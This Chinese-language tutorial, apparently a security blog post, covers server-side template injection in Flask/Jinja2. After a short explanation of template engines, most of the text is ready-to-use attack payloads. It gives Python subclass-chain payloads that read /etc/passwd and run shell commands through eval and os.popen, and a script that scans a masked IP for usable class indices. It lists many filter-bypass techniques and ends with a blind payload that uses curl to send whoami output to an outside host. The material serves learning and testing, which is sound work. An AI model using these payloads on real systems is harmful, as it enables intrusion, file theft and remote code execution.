SSTI, 即 Server-Side Template Injection,服务器端模板注入。
在MVC框架中,用户的输入通过 View 接收,交给 Controller ,然后由 Controller 调用 Model 或者其他的 Controller 进行处理,最后再返回给View ,这样就最终显示在我们的面前了,那么这里的 View 中就会大量地用到一种叫做模板的技术。
绕过服务端接收了用户的恶意输入后,未经任何处理就将其作为web应用模板内容的一部分,而模板引擎在进行目标编译渲染的进程中,执行了用户恶意攻击者插入的可以破坏模板的语句,就会导致信息泄露、代码执行、GetShell等问题。
网站模板引擎:
模板引擎(这里特指用于Web开发的模板引擎)是为了使用户界面与业务数据(内容)分离而产生的,它可以生成特定格式的文档,用于网站的模板引擎就会生成一个标准的HTML文档。
模板引擎可以让(网站)程序实现界面与数据分离,业务代码与逻辑代码的分离,这就大大提升了开发效率,良好的设计也使得代码重用变得更加容易。
现行的模板引擎有:
PHP 的 Smarty, Twig, Blade.
Java 的 JSP, FreeMareker, Velocity.
Python 的 Flask(Jinja2), django, tornado
......
简单来说,可以理解为利用模板引擎来生成前端的HTML代码。模板引擎会会提供一套生成HTML代码的程序,然后只需要获取用户的数据,将其放到渲染函数里,最后生成模板+用户数据的前端HTML页面,反馈给浏览器,从而呈现在用户面前。当这里的“用户的数据”具有恶意攻击性而又不被处理时,SSTI就发生了。
工具地址:https://github.com/epinna/tplmap
安装教程:https://www.cnblogs.com/ktsm/p/15691652.html
使用教程:https://blog.csdn.net/EC_Carrot/article/details/109709767
【参考资料:详解SSTI模板注入】
以Flask(Jinja2)为例(windows),该版块仅涉及主机上的python语法
启动 python 解释器时,即使没有创建任何变量或函数还是会有很多函数可供使用,这些就是 python 的内建函数。在 Python 交互模式下,使用命令 dir('builtins')
即可查看当前 Python 版本的一些内建变量、内建函数,内建函数可以调用一切函数。
Python 中一切皆为对象,均继承于 object 对象,Python 中的 object 类中集成了很多的基础函数,假如需要在 payload 中使用某个函数就需要用 object 去操作。
常见的继承关系有以下三种:
1. base :对象的一个基类,一般是object 2. mro :获取对象的基类,只是这时会显示整个继承链的关系,是一个列表,而object在最列表的最顶层,通过mro[-1]可以获取到 3. subclasses() : 继承此对象的子类,返回一个列表
攻击方式为:变量->对象->基类->子类遍历->全局变量
对于返回的是类实例: 1. __class__ //返回实例的对象,可以使实例指向class,从而使用下面的魔术方法 如: >>>''.__class__ <class 'str'> 对于返回的是定义的class类: 2. __base__ //返回类的父亲 python3 3. __mro__ //返回类继承的元组,即寻找父类 python3 4. __subclasses__() //返回类中仍然可用的引用,可以此获取想要的类的对象 python3 如: >>> ''.__class__.__mro__[-1].__subclasses__()[138] <class 'os._wrap_close'> Tip:根据索引值来获取想用的可利用类,不加索引会输出全部存活的引用 5. __builtins__ //作为默认初始模块出现,可用于查看当前所有导入的内建函数 6. __globals__ //对包含函数全局变量的字典的引用。如果某个文件调用了os、sys等库,但我们只能访问该文件某个函数或者某个对象,那么我们就可以利用globals属性访问全局的变量 python3 7. __init__ //返回类的初始化方法 如: >>> ''.__class__.__bases__[0].__subclasses__()[38].__init__ <slot wrapper '__init__' of 'object' objects> Tip: 'wrapper'是指这些函数并没有被重载,这时他们并不是function,不具有__globals__属性
__globals__
全局根据上述属性,找到重载过的 __init__
类(在获取初始化属性后,带 wrapper
的说明没有重载,因此寻找不带 warpper
的即可),并通过 __globals__
全局来查找所有的方法及变量及参数,或者获取 file
、 os
等模块以进行下一步的利用。
>>> ''.__class__.__bases__[0].__subclasses__()[138].__init__ <function _wrap_close.__init__ at 0x0000025AA50BAEE0>
__builtins__
''.__class__.__bases__[0].__subclasses__()[138].__init__.__globals__['__builtins__'] Tip:这里会返回 dict 类型,寻找 keys 中可用函数,使用 keys 中的 file 等函数来实现读取文件的功能
''.__class__.__mro__[-1].__subclasses__()[138].__init__.__globals__['__builtins__']['file']('/etc/passwd').read()
file subprocess.Popen os.popen exec eval
几个含有
eval
函数的类:
warnings.catch_warnings
WarningMessage
codecs.IncrementalEncoder
codecs.IncrementalDecoder
codecs.StreamReaderWriter
os._wrap_close
reprlib.Repr
weakref.finalize
......
Python常用的三种命令执行方式:
os.system()
该方法的参数就是 string 类型的命令,在 linux 上返回值为执行命令的 exit 值;而windows上返回值则是运行命令后 shell 的返回值;注意:该函数返回命令执行结果的返回值,并不是返回命令的执行输出(执行成功返回0,失败返回-1),因此需要配合 curl 外带数据查看回显 #这里画个问号
os.popen()
返回的是 file read 的对象,如果想获取执行命令的输出,则需要调用该对象的 read() 方法
直接寻找
os
模块执行命令
先编写脚本遍历Python中含有os模块的类的索引号,然后选取其中一个构造payload执行命令,脚本如下:
import requests headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36' } for i in range(500): url = "http://47.xxx.xxx.72:8000/?name={{().__class__.__bases__[0].__subclasses__()["+str(i)+"].__init__.__globals__}}" res = requests.get(url=url, headers=headers) if 'os.py' in res.text: print(i)
用例:
''.__class__.__mro__[-1].__subclasses__()[138].__init__.__globals__['__builtins__']['eval']("__import__('os').system('whoami')") Tip: 需要导入os模块 ''.__class__.__mro__[-1].__subclasses__()[138].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('dir').read()") Tip: 需要导入os模块 ''.__class__.__mro__[-1].__subclasses__()[79].__init__.__globals__['os'].popen('dir').read()
我们可以看到,即使是使用os模块执行命令,其也是调用的os模块中的popen函数,那我们也可以直接调用popen函数,存在popen函数的类一般是 os._wrap_close
,但也不绝对。由于目标Python环境的不同,我们还需要遍历一下。
事实上,在本地python环境下,可以直接在
os._wrap_close
找到popen函数:
''.__class__.__bases__[0].__subclasses__()[138].__init__.__globals__['popen']('dir').read()
【参考资料:以 Bypass 为中心谭谈 Flask-jinja2 SSTI 的利用】
官方文档对于模板的部分语法介绍如下(仍然以jinja2为例:Template Designer Documentation)
1. {% ... %} for Statements 可用来声明变量,也可用以循环语句和条件语句 {{ ... }} for Expressions to print to the template output 用于将表达式打印到模板输出 {# ... #} for Comments not included in the template output 表示未包含在模板输出中的注释 # ... # for Line Statements ## 可以有和 {%%} 相同的效果 2. You can use a dot (.) to access attributes of a variable in addition to the standard Python __getitem__ “subscript” syntax ([]). --官方原文 可以用 . 或者 [] 来访问变量的属性,也就是说 {{"".__class__}} 等价于 {{""['__classs__']}}
因此,当.
被过滤时,我们可以使用[]
以绕过。
- 如果想调用字典中的键值,其本质其实是调用了魔术方法
__getitem__
所以对于取字典中键值的情况不仅可以用[]
,也可以用__getitem__
{{url_for.__globals__['__builtins__']}} {{url_for.__globals__.__getitem__('__builtins__')}}
- 调用对象的方法,具体是调用了魔术方法
__getattribute__
"".__class__ "".__getattribute__("__class__")
1、拼接
"cla"+"ss"
2、反转
"__ssalc__"[::-1]
3、编码绕过(ASCII码、Unicode编码等)
4、利用chr函数
因为我们没法直接使用chr函数,所以需要通过__builtins__
找到他
{% set chr=url_for.__globals__['__builtins__'].chr %} {{""[chr(95)%2bchr(95)%2bchr(99)%2bchr(108)%2bchr(97)%2bchr(115)%2bchr(115)%2bchr(95)%2bchr(95)]}} //%2b为 + ,拼接字符串 ==>{{"".__class__}}
5、在jinja2里面可以利用~
进行拼接
{%set a='__cla' %}{%set b='ss__'%}{{""[a~b]}}
6、大小写过滤转换
在模板中, 过滤器相当于一个函数, 把当前的变量传入到过滤器中, 然后过滤器根据自身功能, 再返回对应的值, 之后再把结果渲染到页面中
基本语法:{{ 变量 | 过滤器名称 }}
使用管道符号|
进行组合,可以链接多个过滤器。一个过滤器的输出应用于下一个过滤器。
常用的过滤器:
1. attr #用于获取变量,可用于. [] 都被过滤的情况 ""|attr("__class__") <==> "".__class__ 2. format #格式化字符串 "%c%c%c%c%c%c%c%c%c"|format(95,95,99,108,97,115,115,95,95) <==> "__class__" 3. join #将一个序列拼接成一个字符串,join ('|')将令每一个元素被'|'隔开 ""[['__clas','s__']|join] 或者 ""[('__clas','s__')|join] <==> ""["__class__"] 4. lower #转换成小写 5. replace #替换字符串 "__claee__"|replace("ee","ss") 构造出字符串 "__class__" "__ssalc__"|reverse 构造出 "__class__" 6. string #将变量转换为字符串,这样就可以通过浏览器显示的符号构造出我们可利用的字符串、符号等 ().__class__ 出来的是<class 'tuple'> ().__class__|string)[0] 出来的是<
【资料查阅:SSTI模板注入绕过(进阶篇)】
.
和[]
可用过滤器
attr
绕过,若.
可用,还可以__getitem__
绕过[]
。
""
和_
绕过
request.args
、request.values
、request.cookies
是 flask 中的属性,为返回请求的参数,这里把path当作变量名,将后面的路径传值进来进而绕过了引号的过滤
{{().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(request.args.path).read()}}&path=/etc/passwd
{{ ''[request.args.class][request.args.mro][2][request.args.subclasses]()[40]('/etc/passwd').read() }}&class=__class__&mro=__mro__&subclasses=__subclasses__
{{}}
绕过用
{%
绕过
{% if ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('curl http://xx.xxx.xx.xx:8080/?i=
whoami').read()=='p' %}1{% endif %}
使用标志测试。如jinja2:{{7+8}}
,如果输出15
,则有可能存在SSTI漏洞。
<图源: https://www.cnblogs.com/icez/archive/2018/04/07/ssti_check_payload.html>